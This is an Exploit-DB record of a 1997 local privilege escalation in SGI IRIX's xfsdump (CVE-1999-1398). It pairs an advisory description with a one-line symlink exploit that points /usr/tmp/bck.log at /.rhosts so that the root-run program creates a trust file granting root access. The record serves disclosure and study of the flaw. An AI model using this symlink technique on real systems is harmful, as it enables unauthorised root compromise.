SGI IRIX 6.4 - 'xfsdump' Local Privilege Escalation

EDB-ID:

19358

CVE:

1999-1398

EDB Verified:

Author:

Yuri Volobuev

Type:

local

Exploit:   /  

Platform:

IRIX

Date:

1997-05-07

Vulnerable App: 
source: https://www.securityfocus.com/bid/472/info

The xfsdump program shipped with Irix 5.x and 6.x from SGI contains a vulnerability which could lead to root compromise. By creating a log file in /usr/tmp called bck.log, a user could create a symbolic link from this file to any file they wish to be created as root. This is turn could be used to compromise the system.

ln -sf /.rhosts /usr/tmp/bck.log
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